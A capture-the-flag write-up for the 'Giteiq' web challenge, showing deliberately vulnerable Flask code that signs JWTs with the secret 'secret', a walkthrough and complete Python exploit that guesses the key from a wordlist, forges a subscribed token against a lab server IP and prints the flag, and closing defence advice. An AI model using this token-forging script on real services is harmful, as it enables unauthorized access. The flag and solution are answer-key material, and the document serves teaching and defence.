Giteiq - JWT Weak Secret Bypass
Challenge Type: Web Security
Difficulty: Easy
Tags: JWT, Cryptography, Authentication Bypass
Challenge Description
Giteiq is a quote service that uses JSON Web Tokens (JWT) for authentication. Users receive a JWT cookie with subscribed: false upon registration, which restricts access to premium quotes. The challenge demonstrates a classic JWT vulnerability: using a weak, easily guessable secret key for token signing.
Challenge Overview
The application implements a simple subscription-based quote system:
- Public Quotes: Accessible to all users (quotes 1-6)
- Premium Quotes: Require subscribed: true in JWT (quotes 7-10)
- JWT Authentication: Session managed via signed JWT tokens
- Weak Secret Vulnerability: JWT signed with predictable secret ("secret")
Application Flow
Normal User Journey
1. User visits /register
└─> Server generates JWT with {subscribed: false}
└─> JWT signed with secret key
└─> Cookie set: giteeiq=<JWT>
2. User requests quote
└─> GET /giteiq?id=<number>
└─> Server verifies JWT signature
└─> Checks subscribed status
└─> Returns quote if authorized
3. Premium quote access (id >= 7)
└─> Requires subscribed: true
└─> Blocked for free users
JWT Structure
// Header
{
"alg": "HS256",
"typ": "JWT"
}
// Payload (initial)
{
"subscribed": false,
"iat": 1704067200,
"exp": 1999999999
}
// Signature: HMACSHA256(base64(header) + "." + base64(payload), secret)
The Vulnerability
The application uses a weak, commonly-used secret for JWT signing:
# Vulnerable server code (simplified)
JWT_SECRET = "secret" # WEAK!
@app.route('/register')
def register():
token = jwt.encode({
'subscribed': False,
'iat': int(time.time()),
'exp': int(time.time()) + 86400
}, JWT_SECRET, algorithm='HS256')
response.set_cookie('giteeiq', token)
return response
@app.route('/giteiq')
def get_quote():
token = request.cookies.get('giteeiq')
try:
# Verifies signature using JWT_SECRET
payload = jwt.decode(token, JWT_SECRET, algorithms=['HS256'])
quote_id = request.args.get('id', type=int)
# Premium quotes require subscription
if quote_id >= 7 and not payload.get('subscribed'):
return {'error': 'Premium content - subscription required'}
return get_quote_from_db(quote_id)
except jwt.InvalidSignatureError:
return {'error': 'Invalid token'}
Why This is Vulnerable: 1. Secret is a common dictionary word 2. No key rotation or complexity requirements 3. Easily discoverable through brute-force 4. Once secret is known, any JWT can be forged
Solution Walkthrough
Phase 1: Obtaining the Original JWT
First, get a legitimate JWT from the application:
import requests
BASE_URL = 'http://45.77.53.212:13332'
# Get JWT from registration endpoint
resp = requests.get(f'{BASE_URL}/register')
original_jwt = resp.cookies.get('giteeiq')
print(f"Original JWT: {original_jwt}")
Phase 2: Analyzing the JWT
Decode the JWT without verification to inspect its structure:
import jwt
# Decode without verifying signature
decoded = jwt.decode(original_jwt, options={"verify_signature": False})
print(f"Payload: {decoded}")
# Output:
# {
# 'subscribed': False,
# 'iat': 1704067200,
# 'exp': 1999999999
# }
Phase 3: Brute-Forcing the Secret
Use a common password list to find the secret:
common_secrets = [
'secret', 'password', 'admin', 'key', 'jwt', 'test', '123456',
'supersecret', 'giteiq', 'giteeiq', 'cyhub', 'armenia'
]
found_secret = None
for secret in common_secrets:
try:
jwt.decode(original_jwt, secret, algorithms=['HS256'])
found_secret = secret
print(f"[+] FOUND SECRET: {secret}")
break
except jwt.InvalidSignatureError:
continue
# Output: [+] FOUND SECRET: secret
Phase 4: Forging a Privileged JWT
Create a new JWT with subscribed: true:
new_payload = {
'subscribed': True,
'iat': decoded.get('iat', 0),
'exp': 1999999999 # Far future expiry
}
forged_jwt = jwt.encode(new_payload, found_secret, algorithm='HS256')
print(f"Forged JWT: {forged_jwt}")
Phase 5: Accessing Premium Content
Use the forged JWT to access the flag:
# Request premium quote #7 (contains the flag)
resp = requests.get(
f'{BASE_URL}/giteiq?id=7',
cookies={'giteeiq': forged_jwt}
)
data = resp.json()
print(f"FLAG: {data['hnarq']}")
# Output: FLAG: cyhub{js_is_better_at_math!}
Complete Exploit Code
#!/usr/bin/env python3
import jwt
import requests
BASE_URL = 'http://45.77.53.212:13332'
# Step 1: Get original JWT
resp = requests.get(f'{BASE_URL}/register')
original_jwt = resp.cookies.get('giteeiq')
# Step 2: Decode without verification
decoded = jwt.decode(original_jwt, options={"verify_signature": False})
print(f"Original payload: {decoded}")
# Step 3: Brute force secret
common_secrets = ['secret', 'password', 'admin', 'key', 'jwt', 'test']
found_secret = None
for secret in common_secrets:
try:
jwt.decode(original_jwt, secret, algorithms=['HS256'])
found_secret = secret
break
except jwt.InvalidSignatureError:
continue
print(f"Found secret: {found_secret}")
# Step 4: Forge new JWT
new_payload = {
'subscribed': True,
'iat': decoded.get('iat', 0),
'exp': 1999999999
}
forged_jwt = jwt.encode(new_payload, found_secret, algorithm='HS256')
# Step 5: Get flag
resp = requests.get(f'{BASE_URL}/giteiq?id=7', cookies={'giteeiq': forged_jwt})
data = resp.json()
print(f"FLAG: {data['hnarq']}")
Technical Details
Tools and Libraries
- Python 3.x: Main scripting language
- PyJWT: JWT encoding/decoding library
- requests: HTTP client library
Exploit Execution
pip install pyjwt requests
python giteiq_jwt_exploit.py
Expected Output
====================================================
Giteiq CTF Exploit - JWT Weak Secret Bypass
====================================================
[*] Step 1: Getting original JWT from /register...
[+] Original JWT: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
[*] Step 2: Decoding original JWT...
[+] Original payload: {'subscribed': False, 'iat': 1704067200}
[*] Step 3: Brute forcing JWT secret...
[+] FOUND SECRET: secret
[*] Step 4: Forging new JWT with subscribed=true...
[+] Forged JWT: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
[*] Step 5: Getting quote #7 (the flag)...
[+] Response: {'hnarq': 'cyhub{js_is_better_at_math!}'}
====================================================
FLAG: cyhub{js_is_better_at_math!}
====================================================
Key Takeaways
Vulnerability Analysis
- Weak Secrets: Using dictionary words as JWT secrets is critically insecure
- Predictable Keys: Short, simple secrets can be brute-forced in seconds
- Trust Boundary: JWT payload can be modified if the secret is compromised
- Privilege Escalation: Forged JWTs bypass authentication and authorization
Secure Implementation
# GOOD: Strong JWT secret generation
import secrets
JWT_SECRET = secrets.token_urlsafe(64) # 512-bit random secret
# GOOD: Use environment variables
JWT_SECRET = os.getenv('JWT_SECRET')
if not JWT_SECRET or len(JWT_SECRET) < 32:
raise ValueError("JWT_SECRET must be at least 32 bytes")
# GOOD: Regular key rotation
def rotate_jwt_secret():
new_secret = secrets.token_urlsafe(64)
# Store with version number for migration
store_secret_with_version(new_secret, version=get_next_version())
Defense Recommendations
- Strong Secrets: Use cryptographically random secrets (≥256 bits)
- Secret Management: Store secrets in environment variables or key vaults
- Key Rotation: Regularly rotate JWT signing keys
- Algorithm Selection: Prefer RS256 (asymmetric) over HS256 for distributed systems
- Token Validation: Always validate expiration times and issuer
- Rate Limiting: Implement rate limiting on authentication endpoints
- Monitoring: Log and alert on suspicious JWT validation failures
Common JWT Pitfalls
- Using
"none"algorithm (CVE-2015-9235) - Weak HMAC secrets (this challenge)
- Missing expiration validation
- Algorithm confusion attacks (HS256 vs RS256)
- Storing sensitive data in JWT payload (it's base64, not encrypted!)